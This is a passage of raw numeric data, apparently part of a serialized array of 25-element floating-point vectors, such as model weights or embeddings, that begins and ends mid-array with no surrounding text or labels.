0.45193384, -0.76913856, 0.059693712, -0.45521704], [-0.029579204, -0.65984456, 0.8239232, -0.65191656, 0.850748, -0.5822012, -0.4442292, -0.8339644, 0.5025284, 0.05831688, 0.7105236, 0.10490264, 0.461228, -0.4665324, 0.12711564, -0.4175064, -0.8374386, 0.2870572, 0.8139956, 0.5100586, -0.4830784, -0.78018952, 0.2018708, -0.9483432, -0.39313984], [-0.025849676, -0.20599408, -0.32823536, 0.38048984, -0.13675632, 0.16023376, 0.29762224, 0.30764272, -0.07516968, -0.30783604, 0.37024544, 0.024047028, 0.17154, 0.3950634, -0.014417296, 0.3999122, 0.2840624, -0.3239198, -0.19403478, -0.3001122, 0.028655076, -0.029909936, 0.37197912, 0.26493488, -0.358344], [-0.02288724, -0.13957424, 0.21620368, 0.023812016, -0.8467496, 0.6742064, 0.26268584, 0.23335248, 0.5483236, -0.761328, 0.15348196, -0.7459588, -0.9230208, 0.28645324, -0.5084764, 0.11647918, 0.781055, -0.2589396, 0.3787166, -0.3564598, 0.39209564, -0.27192096, 0.47048016, -0.23960648, -0.18584696], [-0.018261384, -0.1213956, 0.008005224, 0.15790632, -0.2510628, 0.3719932, 0.36474728, -0.35148268, -0.1081982, -0.0657126, 0.06191156, 0.30232604, -0.20327884, 0.16070156, -0.35482932, 0.2959782, -0.3055214, -0.2997904, 0.215883, -0.07968188, -0.17823652, 0.30390736, 0.25039792, -0.010345528, -0.20351408], [-0.015871608, -0.24732824, 0.24491728, -0.4137092, -0.72460232, 0.005893524, -0.14003432, -0.23042108, -0.4744324, 0.37829148, 0.6115476, 0.6226, 0.550688, 0.1230042, -0.5737228, 0.973764, 0.2142392, -0.3266958, -0.7394538, 0.8052924, -0.39583212, 0.18979016, 0.72699568, -0.76336872, -0.8387304], [-0.011779968, -0.5639384, 0.71341736, -0.007095397, -0.42070584, -0.35309616, -0.4629232, 0.31721604, 0.8096024, 0.6023992, -0.9341508, 0.9169556, 0.9865228, 0.38142232, 0.07072296, -0.8546764, -0.3012708, -0.449503, -0.6678058, -0.5057264, -0.4057104, -0.16871528, 0.55531864, -0.11600384, -0.24292048], [-0.004094104, -0.21274304, 0.17413648, 0.58600448, 0.47767128, -0.8370772, -0.4639412, 0.5369044, 0.6492664, -0.4279928, -0.8146776, 0.841708, 0.5177728, 0.06184064, -0.32424644, -0.8242896, -0.3933084, -0.2430852, 0.4551622, -0.2084672, -0.8640692, 0.50927824, -0.1697996, -0.60640944, -0.8852112], [0.003048136, 0.21032008, 0.38832872, -0.38161824, -0.8302344, 0.6123792, -0.2954794, -0.8552476, -0.30692208, 0.8569436, -0.489626, 0.5386572, -0.614456, -0.13222112, -0.020026436, 0.8590158, 0.781548, -0.02936088, -0.7596974, -0.6587568, -0.8733244, -0.29324944, 0.9765816, 0.2866332, -0.04623972], [0.00855144, 0.04949448, 0.2448128, 0.35774784, 0.121002, -0.33738976, 0.30358316, -0.06176048, 0.36617184, 0.3065716, -0.05703204, 0.3515576, 0.37289092, -0.2627102, 0.29780176, -0.17089666, 0.11514842, -0.19279522, -0.12039512, -0.1960668, -0.34010044, -0.32569176, 0.3819352, -0.24417496, 0.38460552], [0.01774548, 0.9357296, -0.811212, 0.44921408, -0.10627416, 0.9322908, -0.977506, -0.6376924, 0.6806376, 0.12556024, 0.31432788, -0.6349912, -0.7553624, 0.706994, -0.6275644, 0.2704318, -0.6029676, 0.4496152, -0.8963556, -0.9607236, 0.7896764, -0.58695632, 0.054108528, -0.08178944, -0.8222784], [0.0286809, -0.56265552, 0.69713968, -0.061009504, -0.8733416, 0.9983768, 0.022685324, 0.30523012, -0.07063436, 0.3594252, -0.7848084, -0.6702664, -0.4446996, -0.002623558, -0.8538028, 0.06389342, -0.2023238, -0.4413354, 0.818707, 0.2207098, -0.26120464, -0.8177376, -0.08078896, -0.046295664, -0.9006536], [0.029604172, 0.24546336, 0.16576608, -0.08718112, -0.24448272, 0.28237512, -0.36518512, -0.030324404, 0.00730868, 0.12032244, -0.28878696, 0.31362828, -0.33070772, -0.38574356, -0.05400932, -0.2387986, 0.01497239, 0.2574658, 0.1067252, -0.335106, -0.25059904, 0.37291088, -0.18466648, -0.28729664, -0.26590776], [0.030310224, 0.9172968, -0.8414776, 0.6951452, 0.43787816, 0.06213208, -0.3667768, 0.9769992, -0.9192448, -0.4282364, -0.17826568, -0.019969644, 0.7819532, -0.97944, 0.7930804, -0.552616, -0.5595884, -0.6472816, -0.486738, 0.9735008, -0.4533128, 0.46444416, 0.1824048, -0.9896272, 0.36232184], [0.031274352, -0.1849092, 0.8991448, -0.29473448, -0.9990784, 0.59353, -0.01693018, -0.2628208, -0.8445612, 0.9979976, 0.86101, 0.33647972, 0.7764104, -0.79409, -0.8008536, -0.9977002, 0.7605006, 0.7044062, -0.3897856, 0.9053344, -0.0945986, 0.61400912, 0.044923344, -0.78885944, -0.60350536], [0.033540012, 0.9228792, 0.60977936, 0.576568, -0.75024592, 0.18618156, 0.21217924, 0.422904, 0.702964, 0.4086244, 0.5190264, -0.004983032, -0.6991284, 0.5582884, 0.8330996, -0.04658914, -0.827279, 0.15857236, 0.7431674, 0.02906884, -0.30655444, 0.74129816, -0.22139936, 0.910368, 0.05242912], [0.05364796, -0.72562248, -0.10259744, 0.20125744, -0.40473648, -0.7209696, 0.8366068, 0.527864, 0.4370456, -0.6391896, 0.1194684, 0.80524, -0.0654162, -0.4192752, -0.7007472, 0.821219, -0.975382, -0.3188882, -0.9089218, -0.10825854, -0.29424652, -0.66788816, -0.91276, -0.034155808, -0.63408864], [0.05377176, -0.02582612, -0.27920816, -0.2378972, 0.29459368, -0.26903112, 0.14081168, -0.24186684, -0.13072088, -0.25722448, 0.22649828, 0.23183332, 0.2820036, 0.14248408, 0.039070996, -0.05611298, -0.18679004, 0.2593072, 0.2706964, 0.02085142, 0.2530998, 0.26696968, -0.29961088, -0.32910496, 0.011826072], [0.0544348, -0.8263728, -0.79125232, -0.2355808, 0.671994, 0.2642318, 0.826416, 0.65738, -0.627702, -0.21083572, -0.9911488, -0.947774, 0.423218, 0.8773156, 0.2375284, -0.4915022, 0.6170952, 0.9919102, 0.9960544, 0.5491064, 0.5521196, 0.51456232, -0.12157008, -0.3957284, -0.11745368], [0.0545224, 0.07428532, -0.56195992, -0.3814896, -0.59203432, 0.25482716, -0.6487696, -0.19417588, 0.3916264, 0.407792, -0.7084112, 0.35889804, -0.4387104, 0.04292772, 0.7868276, -0.07257586, -0.264602, -0.9395136, -0.8049516, 0.01806124, -0.4709652, 0.22176456, -0.71528064, 0.74319608, -0.8490856], [0.0584042, 0.39813464, 0.9111936, -0.15215592, -0.79066168, -0.004172236, 0.7332888, -0.604832, 0.792826, 0.29209104, 0.16078768, 0.5953232, -0.8066604, 0.7325032, 0.9148332, -0.5723718, 0.5750506, -0.9847076, 0.8704364, -0.9159616, -0.859706, -0.8606544, 0.9093096, 0.15003368, 0.43639728], [0.05889864, -0.49677616, -0.6058988, -0.75063376, -0.3045512, 0.5688536, 0.7316744, 0.9467532, 0.5405176, 0.6745412, 0.81183, -0.6266456, -0.7809808, -0.020997344, -0.363165, -0.05858284, 0.3862084, 0.7742456, 0.8626214, 0.2372274, 0.01043208, 0.64757576, 0.08227952, -0.53561192, -0.48058184], [0.06016664, 0.37788408, -0.09393448, -0.003435, -0.08645664, -0.020066324, 0.057687, -0.21095652, 0.33676872, 0.22688052, -0.27244192, 0.1448268, -0.31513556, -0.11336088, 0.37734984, 6.32e-05, -0.10891276, 0.3505862, 0.04802368, -0.15506636, 0.2073268, 0.10908656, -0.24544072, 0.21338768, -0.19085008], [0.06032308, -0.51333936, 0.32216048, 0.8739936, -0.37112248, 0.93103, 0.4256544, 0.6252728, -0.9382872, -0.8731544, -0.24362144, 0.8979096, 0.21029944, 0.5340436, 0.7752452, -0.3979462, -0.17413872, 0.006229346, -0.9998594, -0.5138988, 0.4837196, 0.13518192, 0.873496, 0.2026928, -0.14364392], [0.06376048, 0.12211448, 0.34575264, -0.10213152, -0.046375216, -0.19114228, -0.07143976, -0.10083452, 0.19526156, 0.39971636, -0.07700552, -0.15912204, -0.22107696, 0.1575332, -0.06105672, 0.04013536, -0.10090756, 0.3944994, 0.14914278, 0.2115616, 0.39027912, -0.16147648, 0.28938568, -0.39164912, 0.21498728], [0.06813604, -0.017531896, 0.28552648, -0.23478952, 0.02421852, -0.05165052, 0.39644892, -0.34949548, -0.21350432, -0.22959092, 0.3350298, 0.19779704, -0.2188258, 0.22446728, -0.1795448, -0.3188586, 0.09789738, 0.12152466, -0.14764884, -0.0618788, 0.11109576, 0.21469032, -0.09507728, -0.24503936, -0.23521328], [0.07155928, -0.057678184, -0.03833308, 0.09159632, -0.36471496, 0.00792398, -0.02582582, 0.39405808, 0.21089244, -0.33333308, -0.11364564, 0.19452432, 0.2360846, 0.13255796, 0.3399222, -0.313826, 0.09326102, -0.3634296, -0.18111948, 0.14376012, -0.19003548, 0.20908544, -0.31914144, -0.008549808, 0.28063184], [0.0721582, -0.04138172, -0.54295552, 0.9792392, 0.9941008, -0.26373316, 0.8606604, 0.610654, -0.014370796, -0.4288976, -0.1677232, -0.7593324, 0.5916976, 0.6743572, 0.6171176, 0.7596772, 0.2639394, 0.15817754, 0.08816004, -0.18933522, 0.817716, 0.9471152, -0.52290824, -0.9169528, 0.45290616], [0.07350796, 0.15294528, -0.23337736, 0.31399976, 0.161714, 0.29303996, -0.12776928, 0.04124736, 0.17148712, -0.18409856, 0.38413852, -0.27068616, 0.29472128, -0.13514612, -0.26096676, 0.15553704, -0.010227186, 0.19448274, -0.019453546, 0.05163248, -0.07136924, -0.37353296, 0.18980024, -0.14668744, 0.10350768], [0.074384, -0.5315328, 0.077700016, -0.23192048, -0.23226056, 0.6160464, 0.8172936, 0.3785022, 0.019326512, 0.6999468, -0.5660948, -0.0790338, 0.187862, 0.32542408, 0.7314448, -0.2907006, 0.6972486, 0.671663, 0.15367698, 0.7305784, -0.22669996, 0.1661512, 0.5783856, 0.70975472, 0.58484496], [0.07897328, 0.041212232, 0.3434068, 0.33607096, 0.061934744, -0.12691276, -0.13764684, 0.18797248, -0.14190008, 0.032364032, -0.17595892, 0.09530664, -0.09260576, 0.24169656, 0.05884048, -0.14622648, -0.06822938, 0.008148702, 0.2994498, -0.17682438, -0.17636548, -0.34325352, 0.38978736, -0.051928656, -0.0823828], [0.08155456, -0.09751536, -0.3853832, -0.2004196, -0.08554848, -0.010842744, -0.11004908, -0.39258128, 0.035443184, -0.1417462, 0.20882872, 0.025056476, 0.078965, -0.13398988, -0.13082764, 0.05415428, -0.2088494, 0.08173474, 0.08798012, 0.3777608, -0.13104364, 0.20251032, -0.36452, 0.212024, -0.2460848], [0.08271312, 0.97854, -0.36123072, 0.42002176, 0.23767952, -0.9398336, -0.29964068, 0.13754688, 0.6820888, -0.11641104, -0.17226212, 0.33122616, 0.4905464, -0.9280548, -0.634012, -0.5869364, 0.0751404, 0.12315704, 0.7833276, -0.8393736, -0.26711784, 0.8336184, 0.47820176, -0.34192976, -0.0344614], [0.08500444, -0.23598544, -0.20550272, -0.08211696, 0.23593344, -0.25852224, 0.04195912, 0.09974664, -0.23804784, -0.3297454, -0.15057828, 0.16289044, 0.36409576, 0.34889884, 0.34810672, 0.02420464, 0.09700994, -0.3098208, -0.3361868, 0.3193936, 0.19685228, -0.19023536, -0.1131716, 0.2182824, -0.09623176], [0.08970716, -0.75483976, -0.188232, 0.69289472, -0.26947136, 0.22146532, -0.539478, 0.5129184, 0.22578316, -0.25484008, -0.8429156, -0.2321628, -0.4191652, 0.947682, -0.4789184, 0.613087, 0.9174904, -0.3813282, -0.7653962, -0.9215414, -0.6881856, -0.35995416, -0.20377576, -0.66048232, -0.51340208], [0.09105696, -0.29001616, 0.68338312, 0.17421144, 0.8931584, -0.38279172, 0.6818712, -0.3878716, -0.12899536, -0.9673112, 0.05461228, 0.38158684, -0.4250164, 0.32917056, -0.897446, -0.759752, -0.0046318, 0.6339036, -0.8747984, 0.5487938, -0.06539948, -0.2959056, -0.63204488, -0.35385608, 0.9339056], [0.09110212, 0.2220844, -0.10706808, -0.12993424, -0.04795404, -0.29843688, 0.11111452, -0.29969252, 0.04575864, 0.35426164, -0.014103524, 0.015950748, -0.02958838, 0.031229388, -0.23294976, 0.04555296, -0.3037418, -0.10876766, 0.004816978, 0.3381224, 0.001246273, 0.14515136, 0.16914344, 0.14709512, -0.24867608], [0.0920278, -0.69580008, 0.5297956, -0.06285, -0.62719448, -0.9708272, 0.4387152, 0.4929764, 0.7118432, 0.8330084, 0.9223364, -0.8276408, -0.6176788, -0.5447636, -0.5835828, 0.16910508, 0.2606576, 0.15018088, 0.5630454, -0.8318828, -0.895636, 0.40495096, -0.6183412, -0.16023208, -0.971028], [0.09220808, 0.31457656, 0.06584116, 0.054888328, -0.21238992, -0.028307388, 0.22368284, -0.34395264, -0.34011324, 0.301741, 0.26268256, 0.28064904, 0.19677204, -0.36654756, -0.16837636, 0.2369768, -0.15962968, 0.07324446, -0.2749852, 0.3550452, 0.250116, -0.001284066, -0.23031336, 0.30362168, -0.15753488], [0.09689896, -0.52839, 0.8109744, 0.2670928, -0.9252672, -0.7465216, 0.09047844, -0.5114288, -0.5905692, 0.926514, -0.12816736, -0.06080492, 0.9810588, -0.86347, 0.9633312, 0.7766334, -0.229741, -0.0687109, -0.0381497, 0.02770088, 0.12302848, -0.5468688, 0.047994544, 0.65363928, -0.32387048], [0.09818244, 0.79481968, -0.036840336, 0.53311152, -0.31169104, -0.22165192, 0.9860652, 0.4293404, -0.433556, 0.264994, -0.8037312, -0.04924912, -0.680158, -0.850212, -0.25874992, 0.2419288, 0.628714, -0.5270636, -0.6607708, -0.6595028, 0.9805144, 0.9637568, -0.52434584, -0.45752488, 0.23863688], [0.10060548, -0.44305648, 0.6201572, 0.41582032, 0.52836848, 0.34119176, 0.8190356, -0.39076696, -0.34989804, -0.4843928, -0.8123924, -0.9986656, 0.9114572, -0.949002, -0.5882524, -0.507077, 0.0529455, -0.7048556, 0.467493, 0.2421938, -0.9804292, -0.048643272, 0.12084552, 0.016833592, 0.49806432], [0.1029744, 0.009176384, 0.1593244, -0.24558824, 0.17533512, -0.1879884, 0.33648464, -0.17339456, 0.0490236, 0.3794904, 0.06322528, 0.019810216, -0.09663376, 0.3774994, 0.04235428, 0.3936348, -0.13138746, -0.333233, 0.06651114, -0.3444608, 0.028546952, -0.29036104, 0.08956192, 0.04623512, -0.012740792], [0.10314892, -0.30821016, 0.27515632, 0.050052656, 0.00921264, 0.18796076, 0.36380148, 0.18532928, -0.14608272, -0.19802488, 0.15324592, -0.10412644, 0.1633828, -0.05285376, -0.004541852, -0.2691694, 0.05668366, 0.2058788, 0.06580264, -0.3684524, 0.35027748, 0.25849144, -0.17062432, 0.38845912, 0.11708552], [0.1080072, -0.38341096, 0.29287592, -0.14816432, 0.2374356, 0.34619924, 0.13963716, 0.36252648, 0.309846, -0.30472, 0.38065944, 0.07334292, 0.25021696, 0.23124044, -0.14005484, -0.199257, 0.11365404, 0.1259766, -0.000216332, 0.16939874, -0.020392824, 0.11162672, -0.29315344, 0.063494248, 0.31967104], [0.11311456, 0.68197544, 0.53192024, 0.38662008, 0.33617, -0.6750904, 0.7853452, -0.7413404, -0.4099284, 0.9023048, 0.9942896, -0.12100328, -0.4524216, 0.6091128, 0.06839416, 0.5017004, 0.9509634, 0.2017328, -0.1921136, 0.4421174, 0.7549092, 0.07603628, -0.7325032, 0.8607752, 0.3188316], [0.11565428, 0.27825552, -0.39658944, -0.10556824, 0.33767208, 0.1747874, 0.11900296, -0.1567866, -0.029818544, 0.086594, 0.30032684, -0.12040144, 0.19815748, 0.3987824, 0.31616496, 0.2922896, 0.2687432, 0.17705646, 0.3267354, -0.13134776, -0.29624432, -0.15627552, 0.031926608, -0.15658416, 0.16273984], [0.1158062, 0.21086144, 0.3979456, -0.19744816, -0.061609464, 0.09018472, 0.30395352, 0.23577188, 0.05156336, -0.05285132, 0.14745816, -0.24060424, -0.1783172, 0.15628972, -0.11242212, -0.2273016, -0.3527154, 0.07766464, 0.02318554, -0.361054, 0.028239828, 0.29773032, 0.162916, -0.16215072, 0.23220864], [0.117359, -0.11674552, -0.47353096, 0.040721064, -0.6595736, 0.9354032, 0.05873472, 0.023874944, 0.02181486, 0.018826884, -0.09425348, 0.7135624, -0.4894436, -0.19693136, 0.4160032, 0.5315452, 0.808442, -0.5672432, 0.7360592, 0.5791292, -0.71592, -0.3707164, 0.61052688, 0.960048, 0.17754016], [0.11744132, -0.50675632, 0.12595416, 0.9224384, -0.97022, 0.33181804, -0.6788528, 0.882248, -0.45012, -0.7954408, -0.15876636, -0.6788104, 0.4868252, -0.6221332, -0.18377872, -0.5331082, 0.9619202, -0.666095, 0.22314, 0.02015946, 0.9625656, 0.2028188, 0.71703136, -0.9204408, -0.022708528], [0.1184708, 0.24493448, 0.010580888, -0.2702972, 0.26939672, 0.9730212, -0.4103276, 0.4956632, -0.7544372, 0.28051104, 0.4743484, -0.3159834, -0.016236064, 0.0556828, 0.8601744, 0.2861728, -0.07036956, 0.15584766, 0.7664428, -0.12572402, 0.8731784, -0.50918336, 0.53121032, -0.66367776, -0.9199024], [0.11991356, -0.38563816, -0.04418016, -0.2591552, -0.17766072, -0.11363644, -0.2163242, -0.16387784, 0.3909392, 0.360657, 0.33450952, 0.28332172, -0.16847564, 0.36162824, 0.3094096, 0.2081822, -0.1561204, -0.08478264, 0.392931, -0.0383229, -0.16821028, -0.32034032, 0.21163888, -0.34276248, -0.25396136], [0.12252732, 0.328782, -0.37075728, 0.018565496, 0.259348, -0.32326876, -0.26745268, 0.3034632, 0.3669752, -0.16258896, -0.13190924, 0.39760144, 0.08410652, 0.33827116, 0.34071068, -0.09743996, 0.3756474, 0.19831672, 0.02525626, 0.2523824, 0.1204728, -0.1422392, -0.3119268, 0.26380416, 0.32289552], [0.12583224, 0.16939984, 0.056136, -0.4927148, 0.9939888, -0.9694416, 0.6245772, -0.26107952, -0.47613, 0.7990672, 0.4367176, -0.7618152, 0.27712036, -0.9090492, -0.9310776, -0.2817106, 0.9033254, -0.3580492, -0.8562436, 0.9045932, 0.5290252, 0.26981232, -0.11172264, -0.428818, 0.62172776], [0.1266842, -0.35576056, 0.33205664, 0.9064544, -0.79308352, 0.59053, 0.7689212, 0.891904, -0.0853512, 0.6075004, 0.5556296, 0.6318928, 0.7694132, 0.38273916, 0.054138, -0.4503804, 0.8706438, 0.6050968, -0.9386704, 0.812894, -0.4408332, 0.01646668, 0.58984656, -0.41314864, 0.28515904], [0.12833856, -0.35762096, 0.015473656, -0.1060348, 0.69401048, 0.907398, 0.32129988, -0.6067208, 0.09179196, 0.15117032, -0.021097112, 0.04339784, 0.9259736, 0.39348156, 0.23544532, 0.5687798, -0.5871238, -0.14355386, -0.6042724, 0.808196, 0.05701428, 0.62087216, -0.48676048, -0.28994752, 0.15383784], [0.13010172, -0.13262864, -0.41622368, 0.28012264, 0.57041432, -0.770348, -0.8679968, -0.306119, -0.31713128, -0.905866, -0.9210744, 0.5628864, -0.031021144, -0.6365928, 0.19093936, -0.4000542, -0.8188294, 0.4764056, -0.8638108, -0.5316352, 0.37639124, 0.8256368, 0.31949944, -0.39599544, -0.15232512], [0.13651716, 0.814164, 0.903776, -0.19498976, 0.26202088, 0.08114308, -0.9099912, 0.7265172, 0.6571056, 0.8223848, -0.7562488, 0.429614, -0.758866, 0.9589, 0.30485384, -0.2289434, 0.18754282, -0.8204528, -0.16969662, 0.2075188, 0.34428828, 0.32928272, 0.902276, 0.50734144, 0.005324701], [0.14152144, 0.1508028, -0.6185596, -0.8722472, 0.17429424, -0.28290876, -0.33029912, -0.6672552, -0.783798, -0.015895936, 0.037242212, 0.4592632, 0.4113632, 0.4921928, -0.1775254, -0.2639864, 0.5207998, -0.6138134, -0.5327134, -0.6790862, -0.459432, -0.52424344, 0.62775104, 0.48025464, -0.46496344], [0.14373732, 0.12028216, -0.16584176, 0.9572192, -0.37812968, 0.8536704, 0.11907972, -0.29398828, -0.8562604, 0.9443016, 0.13558416, -0.81664, 0.407302, -0.9632532, 0.7671052, 0.0574238, 0.6032886, 0.8188064, -0.9464804, 0.4084768, 0.5178448, 0.9101888, -0.67765072, -0.51738856, -0.51252288], [0.14519708, 0.56825408, -0.73078144, -0.007578869, -0.70049584, 0.26948076, 0.6751044, -0.19638704, -0.8789732, 0.8150104, -0.8661392, 0.4859248, 0.25080836, 0.24848396, -0.0622902, -0.9940772, 0.803757, 0.7574676, -0.29106, -0.09725838, -0.704656, 0.08597472, -0.14789976, -0.5897528, -0.5132348], [0.15003436, 0.03296252, 0.3960068, -0.35573144, 0.35232992, -0.12244752, -0.35831824, 0.09001492, -0.07812272, -0.29387324, 0.15550804, 0.19838256, -0.05669088, -0.39081656, 0.021475232, 0.2346932, -0.214401, 0.3729092, -0.2179754, -0.09336184, 0.2965188, 0.049098, -0.008841432, 0.076709584, 0.31937056], [0.152773, 0.874964, 0.14952624, -0.33605696, -0.36782936, -0.23490272, -0.01561014, -0.4535184, -0.18562976, 0.480316, -0.9397084, 0.29838256, 0.441716, 0.13930036, -0.1186058, -0.8792182, 0.5924476, -0.293972, 0.866798, -0.900891, 0.26091716, -0.9688248, -0.48420584, -0.33876336, -0.09219512], [0.15753984, -0.1881836, -0.71329648, -0.7021292, -0.18961, -0.9850448, 0.37215004, 0.0661602, 0.05824544, 0.06204456, 0.5423752, -0.710054, 0.16985712, 0.6675368, 0.8975004, 0.3131202, -0.201708, -0.8274188, 0.06553144, -0.10761296, 0.5800044, -0.4046632, 0.7712468, -0.9889064, -0.776844], [0.15862516, 0.69256496, 0.77019376, -0.33216792, 0.2820676, -0.8570684, -0.3056922, 0.8258388, 0.31919076, 0.6193496, 0.7051076, 0.5358708, 0.7958452, -0.7064464, -0.16734608, -0.7866222, -0.2184346, 0.04336088, 0.0812724, -0.7572574, 0.8933256, 0.47671536, 0.8969608, -0.14207152, -0.0899124], [0.16369608, -0.52895184, 0.409592, -0.340418, -0.6170332, -0.4141336, 0.7971312, -0.4499376, -0.4788556, -0.6632128, 0.39820736, -0.24571348, 0.8235664, 0.6481064, 0.7995508, 0.005416158, 0.03675246, 0.14546786, 0.6037974, -0.2759004, 0.8296408, -0.8446472, -0.16201736, -0.31945416, 0.9316536], [0.17174468, 0.62619936, 0.8266032, -0.16883216, -0.26076088, -0.07590472, -0.9779124, -0.22196704, -0.24562792, 0.9160284, -0.50427, 0.7372024, -0.29704092, 0.775994, 0.06474376, -0.6016602, 0.03457324, -0.606718, 0.3942092, -0.1040242, 0.4184164, 0.3064108, -0.54441176, 0.9316304, -0.095182], [0.1728516, -0.2035132, -0.10376208, -0.2930404, 0.30448032, 0.002191444, 0.38362268, -0.15592544, -0.23286536, -0.2415324, 0.3293542, -0.181637, 0.32321936, 0.007093424, 0.09052364, -0.10787728, -0.2921674, 0.15764114, 0.3618296, -0.1778714, -0.22435896, 0.19306192, 0.23027064, 0.24586656, -0.27825952], [0.17388716, 0.34161296, -0.19342784, -0.1551672, -0.1042044, 0.37305012, 0.28050092, -0.18256344, -0.06871164, 0.25822048, -0.25273748, 0.15782356, -0.35485952, 0.0013732, -0.13271844, -0.17115396, -0.17859832, 0.12995636, 0.2715732, 0.06057104, -0.11486564, -0.13622232, -0.048031624, 0.12609184, 0.09554856], [0.17726948, -0.9901144, 0.056537064, 0.9797808, -0.045304776, -0.9020568, 0.38604584, -0.7259888, -0.666124, -0.8509976, -0.19795272, 0.840622, -0.10471748, 0.23133056, -0.14443456, 0.6379718, -0.6336132, -0.7145558, 0.02194998, -0.04587384, 0.90757, 0.19953088, -0.542772, 0.1621568, -0.54064624], [0.17881376, -0.8084232, -0.52106832, 0.12152776, -0.9122504, 0.6374928, -0.00433618, -0.4356996, -0.19745484, -0.8201056, -0.039025008, 0.4978896, -0.5738812, 0.4095768, -0.012415172, 0.8380864, -0.6650638, 0.7405472, 0.4622952, 0.7926294, 0.29411264, -0.60639208, 0.15737272, -0.66526632, 0.36613144], [0.18423888, 0.25660328, -0.73880168, -0.9032176, 0.77289672, 0.37929728, 0.6728704, -0.709018, -0.38561388, -0.4365376, 0.98581, 0.6730276, -0.8300956, -0.5918652, -0.34191216, -0.4353318, 0.4136504, 0.2489304, -0.56562, -0.2989244, 0.24322556, -0.34215856, 0.24800048, -0.000309087, -0.37768752], [0.18647776, 0.039544456, -0.015858328, 0.05295468, -0.26792688, 0.21513012, -0.26800052, -0.2750444, -0.011190928, -0.0937504, -0.30469732, 0.15553188, -0.04917688, -0.2468186, 0.04227892, 0.3981272, 0.3545084, 0.19838456, -0.2482102, -0.17372708, 0.07142616, -0.2398528, -0.23678408, 0.074475168, -0.17951824], [0.1883802, 0.7116708, -0.34791464, -0.82294, -0.39798592, 0.01342296, -0.528994, -0.9392508, -0.14051476, 0.4872404, -0.748586, -0.7825536, -0.20321776, -0.1215984, -0.8322968, 0.8900516, 0.03217062, 0.3757792, -0.2707922, -0.5842366, -0.8627296, 0.71483352, 0.8626968, 0.24644744, -0.15846056], [0.19330708, 0.23662872, -0.1008252, 0.074062464, -0.72685016, 0.7521268, 0.6228176, -0.4371224, 0.970092, -0.002905618, 0.28124972, 0.22482756, -0.24958088, 0.8936292, 0.05168884, 0.7675998, -0.6211376, 0.15135438, 0.3843872, -0.6990594, 0.943574, -0.34323216, -0.30878552, -0.967, -0.8567112], [0.1944968, -0.58572072, -0.05375676, -0.17124808, -0.37127536, -0.41714, -0.6705768, -0.9872472, 0.515908, 0.6535708, 0.29070488, 0.38583708, -0.9441536, 0.824774, 0.23603576, 0.02057618, 0.828108, 0.15117856, 0.9417496, -0.13329488, -0.5609684, -0.48392928, -0.08515096, 0.60182448, 0.45298216], [0.19764816, 0.70391896, 0.8219688, 0.6131796, 0.54381256, 0.4175996, 0.3755204, 0.3383722, 0.7464948, 0.11306764, 0.6668168, 0.8128556, -0.23823568, -0.7231788, -0.7569008, -0.5619322, -0.2199092, 0.3740092, 0.9500784, -0.6451296, -0.04475744, 0.023148616, 0.47774792, -0.018348608, 0.48695328], [0.20023672, 0.68144456, 0.4180672, 0.4794412, 0.86024, -0.09345924, 0.9865216, 0.00447986, -0.29863412, -0.8443432, -0.8498072, -0.37092032, 0.18762524, -0.14866304, -0.9414276, -0.901675, -0.3524866, -0.678946, 0.241856, 0.6401366, -0.8663704, 0.016626016, -0.22800032, -0.62206936, -0.4146328], [0.20069128, 0.2492892, -0.17489768, -0.31121912, -0.007181914, 0.07880052, -0.3436184, 0.14595636, -0.25506456, -0.26982624, -0.14143364, 0.16645244, -0.27439592, -0.18125312, -0.15047896, -0.2650272, -0.3688106, -0.05491622, 0.14022594, -0.2459934, -0.1548928, -0.24928896, 0.21603, -0.16035744, -0.09493384], [0.20969468, 0.8793688, 0.20072688, -0.6068016, -0.60545888, 0.6283064, 0.23428592, 0.4001824, -0.3237856, -0.34589164, -0.4379392, 0.922414, 0.7077704, -0.5322816, 0.23147352, 0.7759154, -0.2061426, -0.5749748, -0.2007604, 0.2719152, 0.919068, 0.39795896, -0.22437408, 0.64963816, 0.34330448], [0.21047276, 0.35211456, -0.405094, -0.8023992, 0.72191256, 0.6804848, 0.6485612, 0.517062, 0.8310204, 0.7892316, 0.28802544, -0.8186296, -0.9088772, -0.6728444, -0.9408804, -0.3475466, -0.12209218, -0.3028574, 0.2629894, -0.09214428, -0.920056, 0.6571172, -0.31560336, 0.54005104, -0.39064688], [0.21095608, -0.26027408, -0.1498852, -0.31533064, -0.08450144, 0.34900176, 0.22434808, 0.36626864, 0.22478152, 0.016138432, -0.20745624, -0.006700684, -0.25677728, 0.09739876, -0.16051244, 0.221181, -0.10208368, 0.07153524, 0.2254428, 0.16761538, 0.060666, 0.3949896, 0.29643528, 0.39338784, -0.006165498], [0.21290728, 0.791004, 0.9806224, -0.4221432, -0.73206776, 0.35253492, 0.3788036, 0.9609744, -0.8675136, 0.8129, -0.4774112, -0.672552, -0.04563844, -0.669956, 0.7639232, -0.7404584, -0.7828472, 0.8721672, -0.17637392, -0.627329, -0.12454716, 0.2427016, 0.09939272, 0.39830024, 0.31533144], [0.21435444, 0.48850384, -0.26032288, -0.41687712, -0.28545688, 0.8456088, -0.5690284, -0.15248116, -0.09797684, 0.05261488, -0.9537992, 0.4292836, -0.10102204, 0.830836, 0.9760052, -0.05015692, -0.2214772, 0.599732, 0.4654138, -0.64035, 0.012274404, -0.09948752, -0.755096, -0.17724664, 0.11269856], [0.22423024, -0.1137372, -0.36017328, 0.39028544, -0.37054992, -0.07568856, -0.32604004, 0.04110528, 0.033860396, 0.35424084, -0.12945304, -0.37863352, 0.06134408, 0.16254904, -0.36322712, 0.3143144, -0.2355338, 0.19042438, 0.1047138, -0.08947806, 0.280414, -0.28276216, -0.2422256, -0.28491712, -0.14613896], [0.2391944, -0.38167864, -0.649308, -0.056899648, -0.3797736, -0.08931176, -0.10248888, -0.5035764, 0.2826462, -0.7741212, -0.6311936, 0.34044292, -0.489462, 0.7883904, -0.013222536, 0.4785092, -0.3065098, -0.8699666, 0.27921, 0.11171762, 0.7114584, -0.11197136, -0.29767792, 0.74131352, 0.41104304], [0.2399476, -0.06766556, -0.24765488, 0.33420584, -0.11045592, 0.1165744, -0.07527604, 0.34734892, -0.02958776, 0.29614412, 0.19669872, -0.11543048, 0.34171068, -0.23383348, -0.33533272, 0.3455116, -0.05067296, 0.3482102, 0.09093642, -0.14324496, -0.3318188, -0.1617852, -0.054183592, -0.12362864, 0.001303573], [0.24300432, 0.34761256, -0.14649512, -0.050478856, 0.038685744, 0.08932312, -0.1883044, 0.27569672, 0.17502312, 0.35743924, 0.26945676, -0.029148404, 0.0885068, -0.06034984, 0.08248048, -0.3774424, 